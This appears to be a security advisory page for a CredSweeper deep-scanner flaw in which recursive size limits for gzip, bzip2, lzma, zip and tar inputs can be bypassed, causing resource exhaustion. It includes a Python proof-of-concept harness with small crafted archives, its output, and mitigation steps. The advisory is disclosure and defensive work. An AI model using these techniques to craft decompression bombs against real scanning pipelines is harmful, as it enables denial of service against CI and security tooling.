Read the docs
TI-2026-67051 Aliases GHSA-9mqm-qcwf-5qhg

CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources

Priority LOW 38CWE-400Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
Denial of service
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-400.

Summary

### Summary CredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative. This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`. The issue has two closely related exploitation paths that share the same root cause: 1. Single-stream decompressor bypass: `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. 2. Multi-entry archive cumulative-budget bypass: `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate. The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue. ### Details The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively. The relevant call chain is: - `credsweeper/app.py:323` `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)` - `credsweeper/deep_scanner/abstract_scanner.py:269-305` The initial deep-scan entry point passes a recursive size budget into nested scanners. - `credsweeper/deep_scanner/abstract_scanner.py:58-94` `recursive_scan()` stops only on: - negative depth - data shorter than `MIN_DATA_LEN` It does **not** stop when `recursive_limit_size` is negative. Exact source-level issue: 1. Negative budgets are still accepted `credsweeper/deep_scanner/abstract_scanner.py:71-91` ```python if 0 > depth: return candidates depth -= 1 if MIN_DATA_LEN > len(data_provider.data): return candidates ... new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size) ``` There is no guard such as `if recursive_limit_size < 0: return`. 2. Full decompression happens before any hard budget enforcement `credsweeper/deep_scanner/gzip_scanner.py:33-43` ```python with gzip.open(io.BytesIO(data_provider.data)) as f: gzip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(gzip_content_provider.data) gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/bzip2_scanner.py:38-43` ```python bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(bzip2_content_provider.data) bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/lzma_scanner.py:38-43` ```python lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(lzma_content_provider.data) lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit) ``` The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned. 3. Multi-entry archives use per-entry checks instead of a shared cumulative budget `credsweeper/deep_scanner/zip_scanner.py:49-60` ```python if 0 > recursive_limit_size - zfl.file_size: continue with zf.open(zfl) as f: zip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(zip_content_provider.data) zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/tar_scanner.py:48-59` ```python if 0 > recursive_limit_size - tfi.size: continue with tf.extractfile(tfi) as f: tar_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(tar_content_provider.data) tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit) ``` These checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit. 4. Same code pattern is also present in RPM scanning `credsweeper/deep_scanner/rpm_scanner.py:42-51` The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same. Version scope: - The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`. - The last release before that commit is `v1.4.8`. - The first release containing that commit is `v1.4.9`. - Current upstream HEAD and package version `1.15.8` are still affected. ### PoC I reproduced the issue on: - Repository: `https://github.com/Samsung/CredSweeper` - Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` - Version: `1.15.8` I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library. Reproduction steps: 1. Clone the repository: ```bash git clone https://github.com/Samsung/CredSweeper.git cd CredSweeper git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 ``` 2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly: ```python import bz2 import gzip import importlib.util import io import json import lzma import os import subprocess import sys import tarfile import types import zipfile REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper")) SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper") def load_module(name, relpath): spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath)) module = importlib.util.module_from_spec(spec) sys.modules[name] = module spec.loader.exec_module(module) return module def reset_credsweeper_modules(): for name in list(sys.modules): if name == "credsweeper" or name.startswith("credsweeper."): del sys.modules[name] def install_common_stubs(): for name in [ "credsweeper", "credsweeper.common", "credsweeper.config", "credsweeper.credentials", "credsweeper.deep_scanner", "credsweeper.file_handler", "credsweeper.scanner", "credsweeper.utils", ]: module = types.ModuleType(name) module.__path__ = [] sys.modules[name] = module constants_module = types.ModuleType("credsweeper.common.constants") constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30 constants_module.MIN_DATA_LEN = 8 constants_module.DEFAULT_ENCODING = "utf_8" constants_module.UTF_8 = "utf_8" constants_module.MIN_VALUE_LENGTH = 4 sys.modules["credsweeper.common.constants"] = constants_module config_module = types.ModuleType("credsweeper.config.config") class Config: pass config_module.Config = Config sys.modules["credsweeper.config.config"] = config_module candidate_module = types.ModuleType("credsweeper.credentials.candidate") class Candidate: @staticmethod def get_dummy_candidate(*_args, **_kwargs): return "dummy" candidate_module.Candidate = Candidate sys.modules["credsweeper.credentials.candidate"] = candidate_module augment_module = types.ModuleType("credsweeper.credentials.augment_candidates") def augment_candidates(dst, src): if src: dst.extend(src) augment_module.augment_candidates = augment_candidates sys.modules["credsweeper.credentials.augment_candidates"] = augment_module descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor") class Descriptor: def __init__(self, extension="", info=""): self.extension = extension self.info = info descriptor_module.Descriptor = Descriptor sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor") class FilePathExtractor: FIND_BY_EXT_RULE = "Suspicious File Extension" @staticmethod def is_find_by_ext_file(_config, _extension): return False @staticmethod def check_exclude_file(_config, _path): return False file_path_extractor_module.FilePathExtractor = FilePathExtractor sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module scanner_module = types.ModuleType("credsweeper.scanner.scanner") class Scanner: pass scanner_module.Scanner = Scanner sys.modules["credsweeper.scanner.scanner"] = scanner_module util_module = types.ModuleType("credsweeper.utils.util") class Util: @staticmethod def get_extension(path, lower=True): ext = os.path.splitext(str(path))[1] return ext.lower() if lower else ext util_module.Util = Util sys.modules["credsweeper.utils.util"] = util_module content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider") class ContentProvider: pass content_provider_module.ContentProvider = ContentProvider sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider") class DataContentProvider: def __init__(self, data, file_path=None, file_type=None, info=None): self.data = data self.file_path = file_path or "" self.file_type = file_type or "" self.info = info or "" self.descriptor = Descriptor(extension=self.file_type, info=self.info) data_content_provider_module.DataContentProvider = DataContentProvider sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module def install_provider_stub(module_name, class_name): module = types.ModuleType(module_name) class Provider: def __init__(self, *args, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) setattr(module, class_name, Provider) sys.modules[module_name] = module install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider") install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider") install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider") install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider") install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider") def get_head_commit(): return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip() def get_package_version(): init_path = os.path.join(SOURCE_ROOT, "__init__.py") with open(init_path, "r", encoding="utf-8") as handle: for line in handle: if line.strip().startswith("__version__ = "): return line.split("=", 1)[1].strip().strip('"') raise RuntimeError("Cannot locate __version__") def load_scanners(): reset_credsweeper_modules() install_common_stubs() abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py") gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py") bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py") lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py") zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py") tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py") provider_module = sys.modules["credsweeper.file_handler.data_content_provider"] return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module class RecordingRecursiveCalls: def __init__(self): self.calls = [] self.config = object() def recursive_scan(self, data_provider, depth, recursive_limit_size): self.calls.append({ "path": data_provider.file_path, "len": len(data_provider.data), "limit": recursive_limit_size, "info": data_provider.info, "depth": depth, }) return [] def build_compressed_payloads(payload): gzip_buffer = io.BytesIO() with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle: handle.write(payload) return { "gzip": gzip_buffer.getvalue(), "bzip2": bz2.compress(payload), "lzma": lzma.compress(payload), } def proof_negative_budget_after_full_decompression(): _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider payload = b"A" * 64 recursive_limit_size = 16 compressed_payloads = build_compressed_payloads(payload) results = [] for name, module, file_name in [ ("gzip", gzip_module, "proof.txt.gz"), ("bzip2", bzip2_module, "proof.txt.bz2"), ("lzma", lzma_module, "proof.txt.xz"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}") scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner") scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "compressed_size": len(compressed_payloads[name]), "decompressed_size": recorder.calls[0]["len"], "configured_limit": recursive_limit_size, "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"], "recursive_call": recorder.calls[0], }) return results def proof_negative_budget_not_rejected(): abstract_module, _, _, _, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider AbstractScanner = abstract_module.AbstractScanner class DemoScanner(AbstractScanner): @property def config(self): return object() @property def scanner(self): return object() def data_scan(self, data_provider, depth, recursive_limit_size): return [] @staticmethod def get_deep_scanners(data, descriptor, depth): return [], [] def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size): self.proof = { "data_len": len(data_provider.data), "depth": depth, "recursive_limit_size": recursive_limit_size, } return [] demo = DemoScanner() provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt") demo.recursive_scan(provider, depth=1, recursive_limit_size=-48) return demo.proof def proof_cumulative_budget_bypass_in_multi_entry_archives(): _, _, _, _, zip_module, tar_module, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider recursive_limit_size = 16 member_size = 12 zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive: archive.writestr("a.txt", b"A" * member_size) archive.writestr("b.txt", b"B" * member_size) tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w") as archive: for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]: payload = fill * member_size info = tarfile.TarInfo(name) info.size = len(payload) archive.addfile(info, io.BytesIO(payload)) results = [] for name, module, data, scanner_name in [ ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"), ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}") getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "configured_limit": recursive_limit_size, "member_size": member_size, "member_count": len(recorder.calls), "total_extracted_bytes": sum(call["len"] for call in recorder.calls), "recursive_calls": recorder.calls, }) return results print(json.dumps({ "head_commit": get_head_commit(), "package_version": get_package_version(), "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(), "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(), "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(), }, indent=2, sort_keys=True)) ``` 3. Run it with Python 3: ```bash python proof_poc.py ``` 4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`: ```json { "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6", "package_version": "1.15.8", "proof_1_negative_budget_after_full_decompression": [ { "format": "gzip", "compressed_size": 24, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "bzip2", "compressed_size": 39, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "lzma", "compressed_size": 68, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 } ], "proof_2_negative_budget_not_rejected": { "data_len": 64, "depth": 0, "recursive_limit_size": -48 }, "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [ { "format": "zip", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 }, { "format": "tar", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 } ] } ``` What this proves: - GZIP/BZIP2/LZMA: With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`. - AbstractScanner: The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`. - ZIP/TAR: A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`. This is a complete end-to-end proof of the root cause and both exploitation variants. ### Impact This is an availability / resource-exhaustion vulnerability. Who is impacted: - Users who run CredSweeper with deep scanning enabled (`--depth > 0`) on untrusted repositories, archives, or binary inputs. - CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files. - Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content. Practical consequences: - Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget. - Archive inputs with many individually small members can exceed the configured budget in aggregate. - Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform. Security classification: - Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)` - Related weakness: `CWE-400: Uncontrolled Resource Consumption` I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion. ### Mitigation I recommend fixing this in three layers: 1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()` Before any recursive dispatch, abort when `recursive_limit_size < 0`. 2. Enforce limits before or during decompression, not after full materialization - `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads. - If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory. 3. Track a mutable cumulative budget across sibling archive members - `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries. - After one child is accepted, decrement the shared remaining budget before processing the next sibling. Recommended regression tests: - A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed. - Equivalent tests for bzip2 and lzma/xz. - A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted. - A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.

Why it matters now

Fix Fixed credsweeper (PyPI): 1.16.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—credsweeper (PyPI)1.4.9 to before 1.16.01.16.0Patch availableGHSA-9mqm-qcwf-5qhg
  • credsweeper (PyPI) Vendor— Affected 1.4.9 to before 1.16.0 Fixed in 1.16.0 Patch available GHSA-9mqm-qcwf-5qhg

Remediation

  • Fix · GHSA-9mqm-qcwf-5qhg credsweeper (PyPI) Fixed in 1.16.0 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-9mqm-qcwf-5qhg

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences